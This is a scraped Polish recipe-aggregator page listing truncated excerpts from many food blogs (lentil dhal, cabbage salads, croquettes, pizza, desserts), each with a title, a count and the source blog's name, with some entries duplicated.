małym kawałku bawełnianego, materiału umieścić liść laurowy,tymianek,natkę pietruszki,pieprz. Unieś rogi materiału,formując mały woreczek i zwiąż sznurkiem kuchennym. Paczuszkę włóż do gotującej się zupy lub sosu. Wyjmij przed podaniem. Cajun Składniki: po 2 łyżki ziaren białego i czarnego pieprzu 2 łyżki pieprzu Cayenne łyżka granulowanego czosnku łyżeczka ziaren gorczycy 1/2 łyżeczki nasion kopru włoskiego i kuminu łyżka

Wymiar Zdrowia
Dhal z czerwonej soczewicy z dynią 161

ogniu przez kilkanaście minut (15-20).  Gdy dynia będzie na wpół miękka, wsypać soczewicę, wlać przecier pomidorowy (słoik lub kartonik można popłukać niewielką ilością wody i wlać do sosu). Doprawić solą i pieprzem i gotować przez kolejne 15-20 minut lub do czasu aż soczewica i dynia będą miękkie. W razie potrzeby doprawić do smaku. Podawać z ryżem

Codzienne Gotowanie
Serowe tortellini w sosie z szynką i brokułami 157

Magda Dużo kremowego sosu, zielony brokuł, nadziane po brzegi serowe tortellini, a do tego szynka i ciągnący się ser – ten opis chyba wystarczająco zachęca aby sprawić sobie taki obiad. A można nim wykarmić naprawdę wygłodniałą armię, danie jest niezwykle sycące. Składniki (na 3-4 porcje): opakowanie makaronu tortellini z nadzieniem serowym 200g szynki, najlepiej w plastrach 1 mały brokuł

Smaczna Strona
Jajka sadzone w grzybach 132

Nigdy za grzybami nie przepadałam. Teraz trochę nadrabiam. Choć nadal nie ciągnie mnie do grzybowej zupy, czy sosu, to chętnie zjem jajecznicę z kurkami, komosę z pieczarkami i jajka sadzone w boczniakach. ok. 100 g boczniaków 1/2 średniej cebuli 1/4 średniej cukinii 2 jajka łyżeczka masła Grzyby kroimy na mniejsze kawałki. Cebulę kroimy w kostkę, dość drobną. Cukinię ścieramy

Kucharzyca
Bigos z kapusty pekińskiej z kabanosami 164

oczkach.  Cebulę obieramy i kroimy w piórka. W głębokiej patelni rozpuszczamy masło, następnie dodajemy cebulę, marchew i kabanosy pokrojone w centymetrowe kawałki, podsmażamy. Następnie dodajemy posiekaną kapustę, przyprawy, sos sojowy i przecier pomidorowy. Całość dusimy na małym ogniu aż kapusta delikatnie zmięknie, ma być all dente, nie rozciapana. Na samym końcu przyprawiamy jeszcze ewentualnie do smaku: solą, pieprzem

Sama słodycz i szczypta chili
Przepis dnia: Zdrowy shish kebab z orkiszu 133

całkiem niezłe, szybkie danie typu street food. Od czasu do czasu można go wciągnąć, ale nie za często, bo jest to potrwa ciężka i kaloryczna, głównie za sprawą sosów i bułki, w którą jest zapakowany. My bardzo lubimy kebaby, jednak domowej roboty, ze sprawdzonych składników, znacznie zdrowsze niż kebsy z budki. Tu znajdziesz przepisy jak zrobić kebab w domu

Niedzielny kucharz
Polędwiczki po debreczyńsku 147

złoty kolor, dodajemy pokrojoną w kostkę cebulę i kiełbaskę pokrojonę w centymetrowe kawałki, następnie dodajemy krojone w kostkę pomidory, dusimy do miękkości mięsa, dodajemy zahartowaną śmietanę, gotujemy do zagęstnienia sosu,podajemy z ziemniakami lub ryżem

Kuchnia Beaty
Krem z pieczonych buraków 146

wyeliminować z diety białko. Przede wszystkim zwierzęce, ale od początku roku nawet strączki są na cenzurowanym. Miejmy nadzieję, że szybko będziemy mogły wrócić przynajmniej do objadania się hummusem i sosem a la bolognese z czerwonej soczewicy. Nowe doświadczenia związane z żywieniem młodego człowieka spowodowały, że sporo się uczę, a nawet zaczęłam myśleć o kolejnych studiach związanych z żywieniem. Te skończone

Figa S-makiem
Soczyste kotlety mielone – sprawdzony przepis 171

aligncenter" width="1024"] Soczyste kotlety mielone[/caption]   Zobacz inne przepisy na kotlety na obiad: Kotlety Ziemniaczane Z Cukinią Kotlety Mielone Z Ziemniakami I Kapusta Zasmażana Kotlety Mielone W Sosie Musztardowym Kotlety Jajeczne Z Pieczarkami Kotlety Jajeczne Z Porem Kotlety Z Kaszy Jęczmiennej I Mięsa Mielonego Artykuł Soczyste kotlety mielone – sprawdzony przepis pochodzi z serwisu e-PrzepisyKulinarne.pl

e-PrzepisyKulinarne
Pieczone talarki ziemniaczane i sposób na pyszne frytki 228

właśnie jest. Musicie sami sprawdzić i przekonać się czy to dokładnie ten sam smak Te czy inne frytki można podać do wielu dań, zjeść bez dodatków lub podać z sosami, a nawet małym zielonym akcentem i gruboziarnistą solą. Kto się skusi? Szukając innych podobnych przepisów polecam Wam też zajrzeć na stronę jedzmy-zdrowo.pl gdzie znajdziecie np. przepis na bułki do kebaba

Słodkie okruszki
Kotlety ziemniaczane z pieczarkami 844

alternatywa dla tradycyjnych kotletów mięsnych. Z tego przepisu placuszki wychodzą miękkie i puszyste, wręcz rozpływają się w ustach! Są rozkosznie delikatne i subtelne w smaku. Można podać je z sosem, surówką. Myślę, że to będzie pyszna propozycja dla osób nie jadających w ogóle mięsa. Z tych składników wyszło mi … Czytaj dalej Kotlety ziemniaczane z pieczarkami Artykuł Kotlety ziemniaczane

Pieprzyć z Fantazją
Pieczone nadziewane bataty z pastą z awokado! Zdrowy i pyszny obiad! 180

jest to danie, które bez problemu możesz przygotowywać cały rok. Jeśli spodobał Ci się ten pomysł, wypróbuj również, pyszny pomysł na obiad: - Zupa krem z kalafiora - Spaghetti w sosie z surowym brokułem (polecane głównie dla kobiet, dowiesz się również dlaczego należy spożywać brokuły na surowo) - Curry z zieloną soczewicą i cukinią - Prażona cieciorka z ryżowym makaronem i serem halloumi

SMYKWKUCHNI
Faszerowana papryka 194

faszerowaną paprykę. W smaku jest boska. Ma lekko indyjski klimat i przygotowanie jej zajmuje naprawdę pół godziny. Koniecznie jej spróbujcie! Papryki fajnie smakują z łyżką jogurtu naturalnego lub z sosem orzechowym (z tego przepisu ). Ilość porcji: 4 porcje Czas przygotowania: 1,5 godziny Składniki: ziemniaki – 500g bataty – 500g papryka – 4 sztuki różnego koloru cebula – 1 sztuka

wiecejwarzyw.pl
Gdzie zjeść w Szczecinie #26 – Paladin 177

Ostatnio dominują u nas lokale z zakątku Włoch. I tym razem nie mogło być inaczej, opinia będzie dotyczyła lokalu Paladin, mieszczącego się na Bulwarze Chrobrego. Regina Marhrita (sos pomidorowy, mozzarella… The post Gdzie zjeść w Szczecinie #26 – Paladin appeared first on CityTaste

CityTaste
Ziemniaczane kotlety w towarzystwie pieczarek i rukoli 193

SKŁADNIKI: - 1kg ziemniaków - 4 cebule - szklanka mąki - 250g sera żółtego - szczypiorek - 3 jajka - przyprawy (sól, pieprz, kminek, czosnek, ostra papryka) - 250g mini pieczarek - 4 łyżki śmietany do zup i sosów - rukola - 1 łyżka oleju - bułka tarta Cebulę kroimy na drobno i podsmażamy. Ziemniaki jeżeli nie są już ubite, przepuszczamy przez praskę lub dokładnie ubijamy. Ser ścieramy na tarce i wrzucamy

Związek na patelni
Czekoladowy budyń jaglany z malinami 131

wolnym ogniu, pod przykryciem do miękkości ok. 15 min. 3. Podgrzewamy maliny. 4. Ugotowaną kaszę i daktyle miksujemy z dodatkiem kakao na gładki budyń. 5. Budyń jaglany podajemy z sosem malinowym. Czekoladowy budyń jest bogaty w: - witaminę C (pochodzącą z malin), która jest antyoksydantem, działa przeciwnowotworowo, - magnez (pochodzący z kakao), który reguluje przewodzenie bodźców nerwowych. Wartość odżywcza jednej porcji: Porcja

Zdrowe odżywianie w pięciu smakach
Czosnek pieczony jak zrobić 150

język. Można go rozsmarować na kromce chleba i zjeść – świetnie się to sprawdza przy infekcjach. Można dodawać do do dipów, past i smarowideł, można przyprawiać nim sałatki, dressingi, sosy, warzywa gotowane. Warto go przygotować! PRZEPIS CZOSNEK PIECZONY Składniki: główki czosnku oliwa z oliwek lub olej sól pieprz Czosnek pieczony jak zrobić: Zaczynamy od przygotowania arkusików folii aluminiowej

Dorota Smakuje
Kociołek paprykowy z kurczakiem 145

Danie jednogarnkowe z makaronem - gotowe w 20 minut! Szybki i smaczny kociołek z kurczakiem oraz z dużą ilością papryki - czerwonej i żółtej, w sosie pomidorowym. Wszystkie składniki razem z makaronem gotujemy w jednym garnku - mega proste rozwiązanie! Idealna propozycja na obiad, gdy chcemy zjeść coś pożywnego i treściwego, a nie mamy czasu na stanie w kuchni... Składniki: 2 filety

Kuchnia MagdaLeny
Kociołek paprykowy z kurczakiem 145

Danie jednogarnkowe z makaronem - gotowe w 20 minut! Szybki i smaczny kociołek z kurczakiem oraz z dużą ilością papryki - czerwonej i żółtej, w sosie pomidorowym. Wszystkie składniki razem z makaronem gotujemy w jednym garnku - mega proste rozwiązanie! Idealna propozycja na obiad, gdy chcemy zjeść coś pożywnego i treściwego, a nie mamy czasu na stanie w kuchni... Składniki: 2 filety

Kuchnia MagdaLeny
Kotlety z fasoli i kiszonej kapusty 172

bezmięsny obiad. Rewelacyjne w smaku kotlety z białej fasoli i kiszonej kapusty. Dodatek kiszonej kapusty sprawia że kotleciki nabierają fajnego wyrazistego smaku. Świetnie smakują z pikantnym dipem lub np. sosem koperkowym lub pieczarkowym. 240 gramów białej fasoli wcześniej ugotowanej lub z puszki  200 gramów kiszonej kapusty 1 mała cebulka ok.50 gramów 1 łyżka bułki tartej 2 łyżki mąki pszennej

Andzia Pichci
Fuczki 147

minut, na ładny złotobrązowy kolor. Po usmażeniu wykładałam je na talerz przykryty ręcznikiem papierowym, żeby odsączyć je z nadmiaru tłuszczu. Gotowe placki można podawać z dodatkami typu wędzona ryba, sos czosnkowy, lub inne ulubione. Mi smakowały również bez żadnych dodatków. SMACZNEGO

Waniliowe Improwizacje
Cebulowe kluski śląskie 123

można je przygotować w większej ilości i odsmażać lub podgrzewać przez 2-3 dni. Są tanie do zrobienia i smaczne. Pysznie smakują jako dodatek do dania mięsnego czy sosu zamiast tradycyjnych gotowanych ziemniaków. Dziś kluski śląskie zrobiłam w nieco innej wersji, bo z dodatkiem cebuli. Dzięki temu nabrały nowego, ciekawego smaku. Rodzina zajadała ze smakiem. Oto przepis: (adsbygoogle = window.adsbygoogle || []).push

Waniliowe Improwizacje
Sałatka z tuńczykiem, komosą ryżową i orzeźwiającymi owocami 174

cytrusową nutą to znakomita propozycja na drugie śniadanie. Idealnie nadaję się do zdobywającego popularność w naszym kraju lunchboxa. Składniki: 150g komosy ryżowej quinoa 2 puszki tuńczyka w kawałkach w sosie własnym 60g rukoli 1 granat 2 pomarańcze sól pieprz Dressing: 3 łyżki oliwy z oliwek 2 łyżki soku z limonki 1 łyżka miodu Wykonanie: 1. Komosę ryżową, wypłukać pod wodą

Szalona Kuchnia Eweliny
Rolady z karkówki 118

rozgrzewamy tłuszcz, wkładamy rolady i pieczemy do rumienienia, następnie zmniejszamy gaz i pieczemy do miękkości(w razie potrzeby podlewamy wodą- ja dodałam 3 grzybki suszone, żeby uzyskać jeszcze lepszy sos

Kuchnia Beaty
Menu na tydzień: 5 prostych i szybkich dań 143

Klasyczne, jednogarnkowe danie. Środa: Pieczona brukselka z orkiszem   Jeśli ktoś nie lubi brukselki, to z tym przepisem na pewno zmieni zdanie. Kapustki pieczone z tartym parmezanem, marchewką i sosem sojowym są słodkie i jędrne. Czwartek: Chrupiące nuggetsy z warzywami i orkiszem   Mega prosty patent na chrupiącego kurczaka: filety trzeba zamarynować w maślance, potem obtoczyć w zwykłej mące

Niedzielny kucharz
Tarta z pomidorami i cukinią 122

cukinią. Tarta z pomidorami i cukinią Składniki: 1 ½ szklanki mąki 100 g masła cukinia pomidorki koktajlowe kulka sera mozzarella 6 plastrów sera żółtego bazylia szczypta soli Do przygotowania sosu potrzebne będzie: łyżka octu balsamicznego 2 łyżki oliwy po szczypcie soli, cukru i czosnku granulowanego wykonanie: Do mąki z sola dodać masło i posiekać nożem. Następnie wlać 4-5 łyżek wody

Pomysłowa kuchnia
Sałatka z tuńczykiem, kukurydzą i jajkiem 136

Idealna na śniadanie lub lunch/kolację w domu (bo jednak jajko i tuńczyk nie nadają się do ludzi). Składniki na 2 porcje: 6 garści roszponki 1/2 puszki tuńczyka w sosie własnym 2 jajka 2 garści kukurydzy 2 łyżki posiekanego szczypiorku 2 łyżki oliwy Sól, pieprz Przygotowanie : Jajka gotujemy na twardo, studzimy, obieramy i kroimy. Do miski wkładamy roszponkę, tuńczyka, kukurydzę

Czarnawisienka
WINEGRET JABŁKOWY 158

Winegret domowy, prosty, najlepszy, ze sprawdzonych składników, bez zbędnych dodatków. Chwila pracy i jest. Wzbogaca sałatki wszelakie. Wystarczy mix ulubionych sałat i pyszny winegret, by wyczarować

Zasmakuj Kuchni
Pieczone placki z selera 139

pieczenia. Dłońmi nasmarowanymi olejem formować okrągłe placki grubości ok. 1-1,5 cm. Placki układać na blasze. Piec 20 minut w temperaturze 200 stopni C. Podawać np. z sosem pieczarkowym. Placki można też zastosować jako wkładka do wegeburgera

Weekendy w domu i ogrodzie
Surówka z czerwonej kapusty z czosnkową nutą 151

kapusty z czosnkową nutą Prosta, pyszna surówka, którą można przygotować w kilka minut. Minimalna ilość składników. Taka surówka z czerwonej kapusty z czosnkową nutą idealnie pasuje do najróżniejszych mięsnych sosów. Choć oczywiście można ją podać do dowolnego drugiego dania lub zjeść od tak. Surówka jest nie tylko prosta, ale też i zdrowa. Spróbujcie, polecam. Szukając innych przepisów na pyszne surówki

Słodkie okruszki
Sałatka ziemniaczana ze śledziem w śmietanie 219

surowej cebuli, można jak ja to zwykle robię przelać ją wrzątkiem na sicie – staje się wtedy delikatniejsza w smaku i bardziej lekkostrawna. Finalnie w słoiku układamy warstwowo cebulę, śledzie, sos śmietanowy i tak do wykończenia składników. Tak przygotowane śledzie odstawiamy na 1-2 dni lub co najmniej na 3-4 godziny by smaki przegryzły się. Teraz czas na przygotowanie sałatki

Dorota Smakuje
Najlepsze przepisy z konopi – i czym się różni olej CBD od kuchennego oleju z konopi 139

mnie zielony z algami ćwierć kostki masła 8 filecików anchois i łyżka oleju ze słoika anchois natka pietruszki do dekoracji Nasiona konopii: ćwierć szklanki octu jabłkowego ćwierć szklanki sosu sojowego ćwierć szklanki wody ćwierć szklanki nasion konopii (niełuskanych) ząbek czosnku listek laurowy łyżeczka cukru Pełny przepis tutaj. Chłodnik z melona Składniki: duże opakowanie jogurtu greckiego dojrzały melon – obrany

Ugotowane pozamiatane
Wiosenna sałatka ziemniaczana z chrupiącym boczkiem 159

Pyszna sałatka ziemniaczana z rzodkiewkami,ogórkiem sosem czosnkowym i chrupiącym boczkiem.Coś całkiem innego.Wymyśliłam ją dla odmiany od tych ciężkich sałatek zimowych.....bo już chcę wiosny.....tym bardziej ,ze temperatury za oknem bardziej wiosenne niż zimowe

Swojskie jedzonko
KURCZAK PIECZONY, ĆWIARTKI Z KURCZAKA 134

piekarnika, bez przykrycia. Piekarnik nagrzewam do temp. 160 st. C , grzanie góra plus dół, bez termoobiegu. Piekę mięso ok. 1,5 h , w międzyczasie mięso dwa razy polewam powstałym sosem. Podaję z ziemniakami pieczonymi i sałatą z pomidorkami i jogurtem. Smacznego

Zasmakuj Kuchni
Kolorowa surówka z kapusty kiszonej 177

raczej każdy lubi. Z reguły taką surówkę podaje się do smażonej ryby, ale również do dań mięsnych. Ja ją bardzo lubię z tradycyjnym schabowym lub mięsem duszonym w sosie własnym. Najpopularniejsza jest surówka z kapusty kiszonej z dodatkiem jedynie marchewki i cebulki z olejem i np. natką koperku lub pietruszki. Ja dziś jednak postanowiłam zrobić surówkę z kapusty kiszonej

Waniliowe Improwizacje
Błyskawiczna pizza na chlebie tostowym 168

plasterki kiełbasy, wierzch posypujemy resztą żółtego sera. Piekarnik rozgrzewamy do temperatury 190 stopni pieczemy pizzę około 20 minut aż ładnie się zapiecze. Podajemy z ketchupem lub dowolnym ulubionym sosem. Smacznego

Sama słodycz i szczypta chili
Chałka z zieloną herbatą matcha i makiem 113

herbata, której liście zrywane są zawsze w pierwszym zbiorze. Bardzo drobno zmielona (konsystencja pudru), tradycyjnie służąca do rytualnego picia podczas japońskiej ceremonii chanoyu, oraz do przyrządzania wykwintnych napojów, deserów, sosów i słodyczy np. lodów, ciasta biszkoptowego lub drożdżowego. Dobrej jakości herbatę matcha możemy zakupić w herbaciarniach, w większych sklepach lub w sieci m.in. w Kuchnie Świata

Tajemnice Smaku
Surówka z kiszonej kapusty(wersja 1) 163

oczkami. Dodaj kapustę, olej i przyprawy. Całość dobrze wymieszaj. Gotową surówkę możesz podać od razu po przygotowaniu lub przechowywać w lodówce.     Surówka pasuje do… Schabu w sosie własnym Kotletów drobiowych z serem i majonezem Gniazdek z mięsa mielonego Kotletów drobiowych mielonych Kotletów rybnych siekanych

Kulinarny S.O.S.
Krokiety z kapustą i grzybami 189

usmażenie w lodówce. Znam również osoby, które takie krokiety mrożą, by dowolnego dnia mieć danie na szybko.   Sprawdź też… ** Śledzia z cebulką ** Śledzia po polsku ** Rybę w sosie ananasowo-keczupowym   Składniki: 2 szklanki mąki pszennej 1 szklanka wody (może być zwykła lub gazowana) 1 szklanka mleka 2 jajka 2 łyżki oleju 1 łyżeczka soli 500 g kapusty

Kulinarny S.O.S.
Surówka z kiszonej kapusty(wersja 2) 143

składniki połącz ze sobą. Dodaj posiekaną natkę pietruszki, olej oraz przyprawy. Całość dobrze wymieszaj. Podawaj zaraz po przygotowaniu lub przechowuj w lodówce.     Pomysły na obiad… Włoski sos bolognese Placki ziemniaczano-cukiniowe Pyzy z mięsem Szaszłyki drobiowe z ananasem Kotlety rybne siekane

Kulinarny S.O.S.
Surówka z kiszonej kapusty(wersja 1) 163

oczkami. Dodaj kapustę, olej i przyprawy. Całość dobrze wymieszaj. Gotową surówkę możesz podać od razu po przygotowaniu lub przechowywać w lodówce.     Surówka pasuje do… Schabu w sosie własnym Kotletów drobiowych z serem i majonezem Gniazdek z mięsa mielonego Kotletów drobiowych mielonych Kotletów rybnych siekanych

Kulinarne S.O.S.
Krokiety z kapustą i grzybami 189

usmażenie w lodówce. Znam również osoby, które takie krokiety mrożą, by dowolnego dnia mieć danie na szybko.   Sprawdź też… ** Śledzia z cebulką ** Śledzia po polsku ** Rybę w sosie ananasowo-keczupowym   Składniki: 2 szklanki mąki pszennej 1 szklanka wody (może być zwykła lub gazowana) 1 szklanka mleka 2 jajka 2 łyżki oleju 1 łyżeczka soli 500 g kapusty

Kulinarne S.O.S.
Surówka z kiszonej kapusty(wersja 2) 143

składniki połącz ze sobą. Dodaj posiekaną natkę pietruszki, olej oraz przyprawy. Całość dobrze wymieszaj. Podawaj zaraz po przygotowaniu lub przechowuj w lodówce.     Pomysły na obiad… Włoski sos bolognese Placki ziemniaczano-cukiniowe Pyzy z mięsem Szaszłyki drobiowe z ananasem Kotlety rybne siekane

Kulinarne S.O.S.
Ryba po meksykańsku 214

kroku dodajemy paprykę pokrojona w kostkę, pomidory oraz fasolę razem z wodą. Potem dodajemy również pozostałe składniki: czosnek pokrojony w plasterki, przyprawy. Gotujemy wszystko 3 minuty. W końcu do sosu delikatnie wkładamy rybę i wszystko gotujemy na wolnym ogniu pod przykryciem ok 10 min. Finalnie doprawiamy do smaku. Artykuł Ryba po meksykańsku pochodzi z serwisu Dorota Smakuje

Dorota Smakuje
Falafel z ciecierzycy 142

kotleciki, które najczęściej przygotowuje się z ciecierzycy, ale są też przepisy z bobu. Jest to bardzo popularne danie w krajach arabskich. najczęściej podawany jest w picie, z warzywami oraz sosem, często na bazie tahini. W dzisiejszych czasach falafel stał się popularny w wielu barach typu fast food. Samo przygotowanie nie jest skomplikowanie i nie wymaga wielu umiejętności kulinarnych. Polecamy

FoodMagazine.pl - Przepisy kulinarne
Frytki z cukinii 198

Następnie słupki cukinii przekładamy na blaszkę do pieczenia. Piekarnik rozgrzewamy do temperatury 200 stopni (grzanie góra-dół). Pieczemy przez około 20 minut, aż się skorka zarumieni. Podajemy z ulubionymi sosami. Artykuł Frytki z cukinii pochodzi z serwisu Przepisy kulinarne FoodMagazine.pl

FoodMagazine.pl - Przepisy kulinarne
KALAFIOR W POMIDORACH 188

zostawiam w takiej postaci. Dodaję je do rondelka z cebulą i czosnkiem, wrzucam suszone zioła i doprowadzam do wrzenia. Dodaję koncentrat pomidorowy. Doprawiam solą i pieprzem. Kalafiora zalewam powstałym sosem i wstawiam do piekarnika na 30 minut. 7 minut przed końcem pieczenia wyjmuję kalafiora z pieca i posypuję parmezanem. Zapiekam. Podaję z ugotowaną kaszą owsianą. SMACZNEGO

W kuchni Karmel-itki
Grzanki po grecku 178

Włóż obok morele suszone, żeby feta lekko się rozpuściła. Na kromkę chleba połóż rukolę, marynowaną cebulę, pomidora, morele i przykryj drugą kromką. Przygotuj tak samo drugą grzankę. Podawaj z sosem jogurtowym. Smacznego! table.macro { font-size: 0.9em; } table.macro + p, table.macro + img { margin-top: 35px; } table.macro th { text-align: left; } table.macro th, table.macro td { padding: 0.3em; } table.macro th.sub { padding-left

wiecejwarzyw.pl
Kokosowy krem z kalafiora 135

mleka" kokosowego: chłodnik kokosowo-jabłkowy curry z ciecierzycą i kurczakiem keralskie curry warzywne według Jamiego Olivera curry z kurczakiem zupa tajska tajska zupa z kurczakiem pulpeciki wołowo-wieprzowe w sosie azjatyckim   kurczak w mleku kokosowym   domowy likier kokosowy   sernik kokosowy bounty na zimno   wegańska kokosowa owsianka z owocami   kokosowe ciasto z jabłkami   Kokosowy krem

Kulinarne przygody Gatity
PASZTET Z CIECIERZYCY I CZERWONEJ SOCZEWICY 189

warzyw. Dobrze trzymający formę i bardzo podzielny. Najlepszy na kromce pełnoziarnistego chleba lub opieczonej pszennej bułeczce.  Można podać na obiad, np. z mizerią z ogórka, sałatką grecką lub sosem tzatziki. Wszystkie warzywa kroimy w kostkę lub ścieramy na tarce, obsmażamy, a następnie dodajemy suchą kaszę i soczewicę, zalewamy bulionem i gotujemy do wchłonięcia płynu i miękkości warzyw. Po wystygnięciu

cool and minty
Indyk pieczony 159

Przepis pochodzi z książki "Wędliny domowe". Mięsko wychodzi pyszne i delikatne. Polecam i miłego dnia życzę :-) Składniki: około 1 kg filetu z indyka 2 łyżki octu winnego 6 łyżek sosu sojowego 3 łyżki miodu 1 łyżka ziół prowansalskich sól pieprz 1. Fileta natrzeć solą, pieprzem i ziołami. Wymieszać wszystkie składniki marynaty. Wlać ją do worka foliowego i umieścić tam filet

kruche babeczki
Raclette z kiełbasą i brokułami 134

podać kawałki bagietki wcześniej skropione oliwą i posmarowane czosnkiem, opieczone na górnej płycie raclette. Do dania pasują również różnego rodzaju marynaty lub kiszonki. Możemy również podać ketchup lub inny sos… Wszystko co lubimy jest dozwolone, tu nie ma ograniczeń! Smacznego

Tajemnice Smaku
Gravlax w Buraczkach – Marynowany Surowy Łosoś 117

możemy przechowywać zawinięty najlepiej w papier do pieczenia do 2 tygodni. Łososia można podawać na różne sposoby: – jak carpaccio, posypane wędzonym twarożkiem i lekko skropione oliwą – z sosem chrzanowym , koperkowym, czosnkowym.. – lub zajadać się jak sashimi -lub??? A to już Wasza tajemnica smaku   Inspiracją był przepis Jamie’go Oliviera z książki Kulinarne wyprawy Jamiego

Tajemnice Smaku
Czekoladowe naleśniki z serkiem waniliowym i bananami z rumem 114

dodajemy pokrojone w plasterki banany i rum, chwilę podgrzewamy aż alkohol wyparuje, uważając żeby banany się nie rozpadły. Naleśniki smarujemy serkiem waniliowym, dodajemy banany, składamy w trójkąty i polewamy sosem, który powstał po karmelizacji bananów

Tajemnice Smaku
Passata – sos pomidorowy – przecier pomidorowy 118

pasteryzujemy. II Przepis – PASSATA BEZ PESTEK Do przygotowania passaty potrzebna nam będzie wolnoobrotowa wyciskarka do soków z sitem o dużych oczkach (jeżeli nie posiadamy wyciskarki, a chcemy uzyskać sos pomidorowy bez pestek, wystarczy ugotowane pomidory z “I przepisu” przetrzeć przez gęste sito). Przy tym sposobie nie musimy ściągać z pomidorów skórki. Umyte i pokrojone na mniejsze kawałki

Tajemnice Smaku
Roladki z grillowanego bakłażana nadziane tuńczykiem, ciecierzycą, papryką… 131

Bakłażana możemy również obsmażyć na zwykłej patelni. Ilość majonezu w przepisie zależy od soczystości tuńczyka i konsystencji, jaką uzyskamy po rozgnieceniu ciecierzycy. Składniki 1 bakłażan 1 puszka tuńczyka w sosie własnym – około 160 g 1 puszka cieciorki – 265 g po odsączeniu zalewy 1 szalotka drobno posiekana 1/2 papryki czerwonej pokrojonej w kostkę 1-2 łyżki majonezu garść posiekanej

Tajemnice Smaku
Krakersy z tahiny z ziarnami 96

produktami kuchni świata, możemy ją również przygotować sami w domu. Najbardziej znaną i słynna potrawą z użyciem tahiny jest hummus. Pasta sezamowa może być również stosowana, jako dodatek do sosów, deserów, słodkich ciasteczek lub właśnie do słonych krakersów*. Składniki 60 g mąki żytniej 30 g tahiny ( 2 duże łyżki) 50 g mieszanych ziaren i pestek (słonecznika, dyni, siemienia lnianego

Tajemnice Smaku
Orkiszowe gofry z jarmużem, szalotką i czosnkiem 145

ilością oleju, najlepiej do tej czynności wykorzystać pędzelek. Ciasto nakładamy porcjami do dobrze nagrzanej gofrownicy, pieczemy do uzyskania złotego koloru. Gotowe przekładamy na kratkę do przestygnięcia. Podajemy np. z sosem jogurtowym, sałatką lub surówką. Smacznego

Tajemnice Smaku
Delikatna pianka z jogurtu i mandarynek z dodatkiem flambirowanych pomarańczy i tymianku 137

tylko delikatnie potrząsamy rondelkiem. Pod koniec dolewamy alkohol i podpalamy. Deser możemy serwować w miseczkach w których się chłodziły, albo wyjąć z miseczek na talerzyki. Piankę podajemy z przestudzonym sosem pomarańczowym i gałązką tymianku . Smacznego! * Ilość agaru zależy od zaleceń producenta, jednak nie należy przesadzić z ilością agaru, deser powinien być aksamitny delikatnie chwiejny

Tajemnice Smaku
Carpaccio owocowe z musem z awokado i ricotty 136

musem z awokado. Przelewamy do salaterki i odstawiamy na 30 minut do lodówki. Miód mieszamy z sokiem z cytryny. Na talerzach rozkładamy plasterki obranych kiwi i mandarynek, skrapiamy sosem z miodu, posypujemy posiekanymi pistacjami. Na wierzch układamy porcje musu z awokado. Smacznego

Tajemnice Smaku
Cynamonowa beza z bitą śmietaną z ricottą i pomarańczami 132

pomarańczy ręką wyciskamy sok. W małym rondelku podgrzewamy sok i cukier, aż uzyskamy syrop, studzimy. Bezę wykładamy na talerz lub paterę. Dekorujemy kremem, obkładamy filetami z pomarańczy, polewamy pomarańczowym sosem, oprószamy cynamonem. Dla orzeźwienia możemy dodać świeże listki mięty. Smacznego

Tajemnice Smaku
Spaghetti z cukinii z pomidorkami, mozzarellą, pesto i jogurtem 170

zalewy. Cukinię myjemy i przepuszczamy przez spiralizer, temperówkę lub trzemy na tarce do julienne. W miseczce wykładamy spaghetti z cukinii, dodajemy kulki mini-mozzarelli, ćwiartki pomidorków. Całość polewamy sosem jogurtowym z pesto, dodajemy listki bazylii,  w razie potrzeby doprawiamy sola i pieprzem. Smacznego

Tajemnice Smaku
Grzanki z ricottą i grzybami 119

przypalić, gdyż stanie się gorzki. Patelnię odstawiamy z ognia i zdejmujemy z niej plasterki czosnku. Wracamy z patelnią na palnik, dodajemy pokrojone grzyby i smażymy, cały czas mieszając, aż sos spod grzybów odpowiednio się zredukuje. Pod koniec grzyby solimy i pieprzymy, oraz dodajemy usmażony wcześniej czosnek. Mieszamy i zdejmujemy patelnię z ognia. W misce mieszamy widelcem ser ricotta z otartą

Tajemnice Smaku
Chutney dyniowy z karmelizowanym cukrem 139

jest chutney?   Chutney to przygotowany na bazie owoców i/lub warzyw, pikantny, słodki albo wytrawny sos pochodzący z Indii. Chutney swoją konsystencją najbardziej przypomina dżem. Dodatek octu, soli i rozmaitych przypraw sprawia, że jest to dżem tylko z wyglądu, w rzeczywistości jest to pikantna przyprawa, idealna jako dodatek do wielu potraw.    Z czy to się je? Chutney

Tajemnice Smaku
Pizza bez pomidorów, ale za to z ricottą, mozzarellą, dynią, czerwoną cebulą i rozmarynem 137

pizzy potrzebne są pomidory ? Nie zawsze! Bez sosu z pomidorów, ale za to z ricottą, mozzarellą i z dodatkami, takim, jak dynia, cebula, czosnek i rozmaryn, również smakuje wyśmienicie. Ciasto na tą pizzę najlepiej przygotować dzień wcześniej. Takie ciasto w lodówce może dojrzewać około 24 godziny. Dojrzewające ciasto po upieczeniu jest bardzo smaczne, chrupiące z wierzchu i puszyste w środku

Tajemnice Smaku
Ramen. Zupa szczęścia i miłości – Tove Nilsson 124

bulion to podstawa ramenu . Tajemnicą dobrego bulionu jest  długi czas gotowania (nawet do 48 godzin) i dobrej jakości składniki. Tare to esencja smaku . Najbardziej klasyczne esencje smakowe to sos sojowy, miso, które łączy się z bulionem bezpośrednio w misce. Mogą to być również pasty przyprawowe, oleje smakowe sól ziołowa, octy lub cytrusy. Makaron to niezależna dyscyplina naukowa . Prawdziwy makaron

Tajemnice Smaku
Sałatka z kaszy quinoa z awokado, migdałami, suszonymi pomidorami 191

kostkę.  2 łyżki oliwy z oliwek mieszamy z 2 łyżkami soku z limony, posiekaną natką pietruszki, solimy, pieprzymy. Do przestudzonej kaszy quinoa dodajemy migdały, suszone pomidory, kapary, zalewamy sosem z oliwy, limony i pietruszki. Dokładnie mieszamy, próbujemy i ewentualnie doprawiamy solą i pieprzem. Na koniec dodajemy awokado i bardzo delikatnie mieszamy. Smacznego

Tajemnice Smaku
Ziemniaczane kotlety z twarogiem i szpinakiem, panierowane w panko 143

jajku, następnie w panko i smażymy na średnim ogniu na złoty kolor.  Podajemy od razu, najlepiej smakują świeżo usmażone, wtedy panko jest bardzo chrupiące. Do kotletów możemy podać sos jogurtowy z czosnkiem lub tzatziki, dobrze smakują również z sałatką przygotowaną z mieszanych sałat i pomidorów. Smacznego! * Panko to japońska panierka w formie płatków  przygotowana z białego chleba

Tajemnice Smaku
Jak przechowywać ryby i owoce morza 203

